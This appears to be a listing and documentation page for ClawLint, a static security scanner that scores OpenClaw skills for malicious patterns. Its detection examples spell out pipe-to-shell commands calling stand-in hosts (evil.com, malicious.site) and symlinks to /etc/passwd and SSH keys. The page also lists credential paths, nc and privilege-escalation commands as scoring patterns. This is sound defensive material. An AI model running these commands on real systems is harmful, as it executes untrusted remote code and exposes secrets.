Requirements
- Target platform
- OpenClaw
- Install method
- Manual import
- Extraction
- Extract archive
- Prerequisites
- OpenClaw
- Primary doc
- SKILL.md
Security scanner for OpenClaw skills. Detects malware and backdoors before execution, scores risk levels, and monitors file integrity through static code analysis.
Security scanner for OpenClaw skills. Detects malware and backdoors before execution, scores risk levels, and monitors file integrity through static code analysis.
Hand the extracted package to your coding agent with a concrete install brief instead of figuring it out manually.
I downloaded a skill package from Yavira. Read SKILL.md from the extracted folder and install it by following the included instructions. Tell me what you changed and call out any manual steps you could not complete.
I downloaded an updated skill package from Yavira. Read SKILL.md from the extracted folder, compare it with my current installation, and upgrade it while preserving any custom configuration unless the package docs explicitly say otherwise. Summarize what changed and any follow-up checks I should run.
Security linter for OpenClaw skills Runs a local audit over your installed OpenClaw skills without executing any code. Scans both workspace (~/.openclaw/workspace/skills) and system (~/.openclaw/skills) directories. With 7.1% of ClawHub skills containing security flaws, ClawLint provides pre-execution defense by identifying malicious patterns before they run.
ClawLint audits OpenClaw skills for security threats without executing code. It detects malicious patterns like remote execution, credential theft, and backdoors, then assigns risk scores (0-100) and generates SHA256 hashes for integrity monitoring. Outputs JSON for automation and CI/CD pipelines.
Risk scoring โ assigns a numeric risk score (0-100) based on detected patterns Audit flags โ identifies suspicious behaviors (remote execution, secret access, etc.) Inventory mode โ optional SHA256 hashing of all files for change detection JSON output โ machine-readable results (requires Python 3) No execution โ static analysis only, safe to run on untrusted skills
{baseDir}/bin/claw-lint.sh
{baseDir}/bin/claw-lint.sh --skill <skill-name> Example: {baseDir}/bin/claw-lint.sh --skill hashnode-publisher
{baseDir}/bin/claw-lint.sh --full --skill <skill-name>
{baseDir}/bin/claw-lint.sh --format json
FlagDescription--skill <name>Scan only the specified skill--fullInclude SHA256 inventory of all files--format jsonOutput as JSON (needs python3)--min-score <N>Show only skills with risk score โฅ N--strictPrioritize high-severity patterns--max-bytes <N>Skip files larger than N bytes (default: 2MB)
0-30: Low risk (common patterns, minimal concerns) 31-60: Medium risk (network access, file operations) 61-100: High risk (remote execution, credential access, system tampering)
pipes_remote_to_shell โ downloads and executes remote code downloads_remote_content โ fetches external files has_executables โ contains binary files uses_ssh_or_scp โ SSH/SCP operations contains_symlinks โ symbolic links present
SCORE SKILL FILES SIZE FLAGS ----- ----- ----- ---- ----- 57 hashnode-publisher 2 1.1KB downloads_remote_content,pipes_remote_to_shell 45 ec2-health-monitor 2 1.9KB pipes_remote_to_shell
ClawLint assigns risk scores from 0 (safe) to 100 (critical) based on pattern detection: Score RangeClassificationDescription0-20Low RiskStandard file operations, no suspicious patterns21-50Medium RiskNetwork calls or external dependencies detected51-80High RiskMultiple suspicious patterns or obfuscation detected81-100CriticalRemote execution, secret access, or privilege escalation
+25 points: Remote execution patterns (curl | bash, wget -O-, nc) +30 points: Secret/credential access (~/.openclaw/credentials, ~/.ssh/) +20 points: Privilege escalation (sudo, setuid, chmod +s) +15 points: Code obfuscation (base64 decode, eval, exec in suspicious contexts) +10 points: External network calls (curl, wget, http requests) +10 points: File system operations outside skill directory +5 points: Use of /tmp or world-writable directories
Downloads and executes external code without verification. Examples: curl https://evil.com/script.sh | bash wget -O- https://malicious.site/payload | sh Risk: Critical. Remote code execution vector for malware.
Fetches external files or data from the internet. Examples: curl -O https://example.com/file.tar.gz wget https://cdn.example.com/data.json Risk: Medium-High. Potential supply chain attack or data exfiltration.
Contains compiled binary files (not shell scripts). Examples: ELF binaries Compiled programs Risk: Medium. Harder to audit, may contain hidden functionality.
Performs SSH/SCP operations. Examples: ssh user@remote.host "command" scp file.txt user@remote:/path/ Risk: Medium. Potential for unauthorized remote access or data transfer.
Includes symbolic links that may point outside skill directory. Examples: ln -s /etc/passwd exposed_file ln -s ~/.ssh/id_rsa key_link Risk: Low-Medium. May expose sensitive files or create confusion.
Bash 4.0+ Standard Unix tools: find, grep, awk, sha256sum, stat Python 3 (optional, for JSON output only) Works on Ubuntu/Debian without sudo. Designed for EC2 and similar environments.
Audit skills before installation Detect backdoors or malicious patterns in community skills Track changes to installed skills with SHA256 inventory Enforce security policies in automated pipelines
Human-readable table format with color-coded risk scores (when terminal supports colors).
Machine-readable structure for integration with CI/CD pipelines: { "scan_date": "2026-02-13T14:50:00Z", "skills_scanned": 12, "high_risk_count": 2, "results": [ { "skill_name": "hashnode-publisher", "risk_score": 57, "file_count": 2, "total_size": "1.1KB", "flags": ["downloads_remote_content", "pipes_remote_to_shell"], "files": [ { "path": "bin/publish.sh", "sha256": "a1b2c3d4...", "size": 896 } ] } ] }
Run ClawLint after installing or updating skills: {baseDir}/bin/claw-lint.sh --min-score 50
Create a security baseline for production environments: {baseDir}/bin/claw-lint.sh --full --format json > baseline.json Re-run periodically and diff against baseline to detect tampering.
Add to your deployment pipeline: # Fail build if any skill scores above 60 {baseDir}/bin/claw-lint.sh --format json | python3 -c " import json, sys data = json.load(sys.stdin) high_risk = [s for s in data['results'] if s['risk_score'] > 60] if high_risk: print(f'โ {len(high_risk)} high-risk skills detected') sys.exit(1) "
For known-safe skills with legitimate flags, document exceptions: # Example: hashnode-publisher needs network access {baseDir}/bin/claw-lint.sh --skill hashnode-publisher # Expected score: 45-60 (downloads_remote_content is legitimate)
Static analysis only โ cannot detect runtime behavior or dynamically generated code Pattern-based โ may have false positives for legitimate use cases No sandbox โ does not execute or test skills Local files only โ scans installed skills, not ClawHub packages before install For comprehensive security, combine ClawLint with: Manual code review for critical skills VirusTotal scanning for executables Runtime monitoring and sandboxing Regular security updates
Report false positives or suggest new detection patterns at the OpenClaw security repository.
MIT License - Free to use, modify, and distribute.
Identity, auth, scanning, governance, audit, and operational guardrails.
Largest current source with strong distribution and engagement signals.